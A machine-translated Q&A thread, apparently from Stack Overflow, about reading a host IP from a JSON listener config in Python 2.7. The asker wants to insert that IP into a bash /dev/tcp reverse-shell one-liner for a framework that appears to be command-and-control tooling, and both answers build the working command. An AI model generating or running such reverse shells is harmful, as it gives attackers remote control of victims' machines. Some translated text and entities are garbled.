我遇到了python 2.7的问题。我有以下JSON文件,我试图只从中提取HOST变量:
{
"443": {
"ssl": true,
"host": "192.168.1.8",
"cert": "v3ga.pem",
"name": "Test",
"open": false
}
}
此外,在我的脚本中,我有一个项目,我只想将“主机”IP输入为192.168.1.8。
我尝试使用以下代码段来提取所有变量:
import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)
返回:
{
"u'443'": {
"u'cert'": "u'fruityc2.pem'",
"u'host'": "u'192.168.1.8'",
"u'name'": "u'Test'",
"u'open'": false,
"u'ssl'": true
}
}
我如何将其插入('0<& 196; exec 196<> / dev / tcp / HOST / 666; sh<& 196>& 196 2>& 196 ')以便它可以在我想要创建的框架中正确打印?
答案 0 :(得分:0)
这个问题与这篇文章非常相似:Parsing values from a JSON file?
所以,您可能只需通过以下方式访问它:
data["443"]["host"]
如果这"(' 0<& 196; exec 196<> / dev / tcp / HOST / 666; sh<& 196>& 196 2>& 196& #39)"是一个字符串...,然后:
"('0<&196;exec 196<>/dev/tcp/" + data["443"]["host"] + "/666; sh <&196 >&196 2>&196')"
我希望有所帮助。
答案 1 :(得分:0)
假设我得到了你的问题(你已经用一个非常模糊的形式写了这个问题)......你试图获得与存储在字典中的密钥'host'相关的值'192.168.1.8'给定哈希字符串。请尝试以下代码 - &gt;
import json
from pprint import pprint
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string
输出将是 - &gt;
0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196
这里,在hash_string变量中,哈希值存储为“字符串”而不是tupple。我假设你是这样想的,如果不是......那么就像这样添加一个逗号 - &gt;
hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)
我希望这有帮助!我希望我能正确回答你的问题,如果没有,请尝试更详细地解释问题,我会编辑我的答案:)